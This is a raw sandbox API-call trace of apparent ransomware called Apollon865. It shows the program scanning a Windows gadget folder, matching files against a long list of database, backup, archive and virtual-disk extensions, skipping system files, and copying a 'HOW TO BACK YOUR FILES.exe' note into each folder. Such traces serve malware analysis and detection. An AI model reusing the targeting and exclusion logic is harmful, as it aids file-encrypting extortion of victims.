	[0051.504] lstrlenW (lpString="dsn") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0051.504] lstrlenW (lpString="dtsx") returned 4
	[0051.504] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0051.504] lstrlenW (lpString="dxl") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0051.504] lstrlenW (lpString="eco") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0051.504] lstrlenW (lpString="ecx") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0051.504] lstrlenW (lpString="edb") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0051.504] lstrlenW (lpString="epim") returned 4
	[0051.504] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0051.504] lstrlenW (lpString="fcd") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0051.504] lstrlenW (lpString="fdb") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0051.504] lstrlenW (lpString="fic") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0051.504] lstrlenW (lpString="flexolibrary") returned 12
	[0051.504] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0051.504] lstrlenW (lpString="fm5") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0051.504] lstrlenW (lpString="fmp") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0051.504] lstrlenW (lpString="fmp12") returned 5
	[0051.504] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0051.504] lstrlenW (lpString="fmpsl") returned 5
	[0051.504] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0051.504] lstrlenW (lpString="fol") returned 3
	[0051.504] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0051.505] lstrlenW (lpString="fp3") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0051.505] lstrlenW (lpString="fp4") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0051.505] lstrlenW (lpString="fp5") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0051.505] lstrlenW (lpString="fp7") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0051.505] lstrlenW (lpString="fpt") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0051.505] lstrlenW (lpString="frm") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0051.505] lstrlenW (lpString="gdb") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.505] lstrlenW (lpString="gdb") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.505] lstrlenW (lpString="grdb") returned 4
	[0051.505] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0051.505] lstrlenW (lpString="gwi") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0051.505] lstrlenW (lpString="hdb") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0051.505] lstrlenW (lpString="his") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0051.505] lstrlenW (lpString="ib") returned 2
	[0051.505] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0051.505] lstrlenW (lpString="idb") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0051.505] lstrlenW (lpString="ihx") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0051.505] lstrlenW (lpString="itdb") returned 4
	[0051.505] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0051.505] lstrlenW (lpString="itw") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0051.505] lstrlenW (lpString="jet") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0051.505] lstrlenW (lpString="jtx") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0051.505] lstrlenW (lpString="kdb") returned 3
	[0051.505] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0051.506] lstrlenW (lpString="kexi") returned 4
	[0051.506] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0051.506] lstrlenW (lpString="kexic") returned 5
	[0051.506] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0051.506] lstrlenW (lpString="kexis") returned 5
	[0051.506] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0051.506] lstrlenW (lpString="lgc") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0051.506] lstrlenW (lpString="lwx") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0051.506] lstrlenW (lpString="maf") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0051.506] lstrlenW (lpString="maq") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0051.506] lstrlenW (lpString="mar") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0051.506] lstrlenW (lpString="marshal") returned 7
	[0051.506] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0051.506] lstrlenW (lpString="mas") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0051.506] lstrlenW (lpString="mav") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0051.506] lstrlenW (lpString="maw") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0051.506] lstrlenW (lpString="mdbhtml") returned 7
	[0051.506] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0051.506] lstrlenW (lpString="mdn") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0051.506] lstrlenW (lpString="mdt") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0051.506] lstrlenW (lpString="mfd") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0051.506] lstrlenW (lpString="mpd") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0051.506] lstrlenW (lpString="mrg") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0051.506] lstrlenW (lpString="mud") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0051.506] lstrlenW (lpString="mwb") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0051.506] lstrlenW (lpString="myd") returned 3
	[0051.506] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0051.507] lstrlenW (lpString="ndf") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0051.507] lstrlenW (lpString="nnt") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0051.507] lstrlenW (lpString="nrmlib") returned 6
	[0051.507] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0051.507] lstrlenW (lpString="ns2") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0051.507] lstrlenW (lpString="ns3") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0051.507] lstrlenW (lpString="ns4") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0051.507] lstrlenW (lpString="nsf") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0051.507] lstrlenW (lpString="nv") returned 2
	[0051.507] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0051.507] lstrlenW (lpString="nv2") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0051.507] lstrlenW (lpString="nwdb") returned 4
	[0051.507] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0051.507] lstrlenW (lpString="nyf") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0051.507] lstrlenW (lpString="odb") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.507] lstrlenW (lpString="odb") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.507] lstrlenW (lpString="oqy") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0051.507] lstrlenW (lpString="ora") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0051.507] lstrlenW (lpString="orx") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0051.507] lstrlenW (lpString="owc") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0051.507] lstrlenW (lpString="p96") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0051.507] lstrlenW (lpString="p97") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0051.507] lstrlenW (lpString="pan") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0051.507] lstrlenW (lpString="pdb") returned 3
	[0051.507] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0051.508] lstrlenW (lpString="pdm") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0051.508] lstrlenW (lpString="pnz") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0051.508] lstrlenW (lpString="qry") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0051.508] lstrlenW (lpString="qvd") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0051.508] lstrlenW (lpString="rbf") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0051.508] lstrlenW (lpString="rctd") returned 4
	[0051.508] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0051.508] lstrlenW (lpString="rod") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0051.508] lstrlenW (lpString="rodx") returned 4
	[0051.508] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0051.508] lstrlenW (lpString="rpd") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0051.508] lstrlenW (lpString="rsd") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0051.508] lstrlenW (lpString="sas7bdat") returned 8
	[0051.508] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0051.508] lstrlenW (lpString="sbf") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0051.508] lstrlenW (lpString="scx") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0051.508] lstrlenW (lpString="sdb") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0051.508] lstrlenW (lpString="sdc") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0051.508] lstrlenW (lpString="sdf") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0051.508] lstrlenW (lpString="sis") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0051.508] lstrlenW (lpString="spq") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0051.508] lstrlenW (lpString="te") returned 2
	[0051.508] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0051.508] lstrlenW (lpString="teacher") returned 7
	[0051.508] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0051.508] lstrlenW (lpString="tmd") returned 3
	[0051.508] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0051.508] lstrlenW (lpString="tps") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0051.509] lstrlenW (lpString="trc") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.509] lstrlenW (lpString="trc") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.509] lstrlenW (lpString="trm") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0051.509] lstrlenW (lpString="udb") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0051.509] lstrlenW (lpString="udl") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0051.509] lstrlenW (lpString="usr") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0051.509] lstrlenW (lpString="v12") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0051.509] lstrlenW (lpString="vis") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0051.509] lstrlenW (lpString="vpd") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0051.509] lstrlenW (lpString="vvv") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0051.509] lstrlenW (lpString="wdb") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0051.509] lstrlenW (lpString="wmdb") returned 4
	[0051.509] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0051.509] lstrlenW (lpString="wrk") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0051.509] lstrlenW (lpString="xdb") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0051.509] lstrlenW (lpString="xld") returned 3
	[0051.509] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0051.509] lstrlenW (lpString="xmlff") returned 5
	[0051.509] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0051.509] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2=".") returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="..") returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="windows") returned -1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="bootmgr") returned 1
	[0051.509] lstrcmpiW (lpString1="weather.html", lpString2="temp") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="pagefile.sys") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="boot") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="ids.txt") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="ntuser.dat") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="perflogs") returned 1
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2="MSBuild") returned 1
	[0051.510] lstrlenW (lpString="weather.html") returned 12
	[0051.510] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html") returned 81
	[0051.510] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="weather.html" | out: lpString1="weather.html") returned="weather.html"
	[0051.510] lstrlenW (lpString="weather.html") returned 12
	[0051.510] lstrlenW (lpString="Apollon865") returned 10
	[0051.510] lstrcmpiW (lpString1="ather.html", lpString2="Apollon865") returned 1
	[0051.510] lstrlenW (lpString=".dll") returned 4
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2=".dll") returned 1
	[0051.510] lstrlenW (lpString=".lnk") returned 4
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2=".lnk") returned 1
	[0051.510] lstrlenW (lpString=".ini") returned 4
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2=".ini") returned 1
	[0051.510] lstrlenW (lpString=".sys") returned 4
	[0051.510] lstrcmpiW (lpString1="weather.html", lpString2=".sys") returned 1
	[0051.510] lstrlenW (lpString="weather.html") returned 12
	[0051.510] lstrlenW (lpString="bak") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.510] lstrlenW (lpString="ba_") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.510] lstrlenW (lpString="dbb") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.510] lstrlenW (lpString="vmdk") returned 4
	[0051.510] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.510] lstrlenW (lpString="rar") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.510] lstrlenW (lpString="zip") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.510] lstrlenW (lpString="tgz") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.510] lstrlenW (lpString="vbox") returned 4
	[0051.510] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.510] lstrlenW (lpString="vdi") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.510] lstrlenW (lpString="vhd") returned 3
	[0051.510] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.510] lstrlenW (lpString="vhdx") returned 4
	[0051.511] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.511] lstrlenW (lpString="avhd") returned 4
	[0051.511] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.511] lstrlenW (lpString="db") returned 2
	[0051.511] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.511] lstrlenW (lpString="db2") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.511] lstrlenW (lpString="db3") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.511] lstrlenW (lpString="dbf") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.511] lstrlenW (lpString="mdf") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.511] lstrlenW (lpString="mdb") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.511] lstrlenW (lpString="sql") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.511] lstrlenW (lpString="sqlite") returned 6
	[0051.511] lstrcmpiW (lpString1="r.html", lpString2="sqlite") returned -1
	[0051.511] lstrlenW (lpString="sqlite3") returned 7
	[0051.511] lstrcmpiW (lpString1="er.html", lpString2="sqlite3") returned -1
	[0051.511] lstrlenW (lpString="sqlitedb") returned 8
	[0051.511] lstrcmpiW (lpString1="her.html", lpString2="sqlitedb") returned -1
	[0051.511] lstrlenW (lpString="xml") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.511] lstrlenW (lpString="$er") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.511] lstrlenW (lpString="4dd") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.511] lstrlenW (lpString="4dl") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.511] lstrlenW (lpString="^^^") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.511] lstrlenW (lpString="abs") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.511] lstrlenW (lpString="abx") returned 3
	[0051.511] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.511] lstrlenW (lpString="accdb") returned 5
	[0051.511] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.511] lstrlenW (lpString="accdc") returned 5
	[0051.511] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.511] lstrlenW (lpString="accde") returned 5
	[0051.512] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.512] lstrlenW (lpString="accdr") returned 5
	[0051.512] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.512] lstrlenW (lpString="accdt") returned 5
	[0051.512] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.512] lstrlenW (lpString="accdw") returned 5
	[0051.512] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.512] lstrlenW (lpString="accft") returned 5
	[0051.512] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.512] lstrlenW (lpString="adb") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.512] lstrlenW (lpString="adb") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.512] lstrlenW (lpString="ade") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.512] lstrlenW (lpString="adf") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.512] lstrlenW (lpString="adn") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.512] lstrlenW (lpString="adp") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.512] lstrlenW (lpString="alf") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.512] lstrlenW (lpString="ask") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.512] lstrlenW (lpString="btr") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.512] lstrlenW (lpString="cat") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.512] lstrlenW (lpString="cdb") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.512] lstrlenW (lpString="ckp") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.512] lstrlenW (lpString="cma") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.512] lstrlenW (lpString="cpd") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.512] lstrlenW (lpString="dacpac") returned 6
	[0051.512] lstrcmpiW (lpString1="r.html", lpString2="dacpac") returned 1
	[0051.512] lstrlenW (lpString="dad") returned 3
	[0051.512] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.512] lstrlenW (lpString="dadiagrams") returned 10
	[0051.513] lstrcmpiW (lpString1="ather.html", lpString2="dadiagrams") returned -1
	[0051.513] lstrlenW (lpString="daschema") returned 8
	[0051.513] lstrcmpiW (lpString1="her.html", lpString2="daschema") returned 1
	[0051.513] lstrlenW (lpString="db-journal") returned 10
	[0051.513] lstrcmpiW (lpString1="ather.html", lpString2="db-journal") returned -1
	[0051.513] lstrlenW (lpString="db-shm") returned 6
	[0051.513] lstrcmpiW (lpString1="r.html", lpString2="db-shm") returned 1
	[0051.513] lstrlenW (lpString="db-wal") returned 6
	[0051.513] lstrcmpiW (lpString1="r.html", lpString2="db-wal") returned 1
	[0051.513] lstrlenW (lpString="dbc") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.513] lstrlenW (lpString="dbs") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.513] lstrlenW (lpString="dbt") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.513] lstrlenW (lpString="dbv") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.513] lstrlenW (lpString="dbx") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.513] lstrlenW (lpString="dcb") returned 3
	[0051.513] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.513] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js"
	[0051.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0051.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0051.513] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned 70
	[0051.513] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js"
	[0051.513] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.513] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.519] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36c7f030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c7f030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.519] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.519] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36c7f030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c7f030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.519] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.519] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.519] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.519] lstrcmpiW (lpString1="..", lpString2="..") returned 0
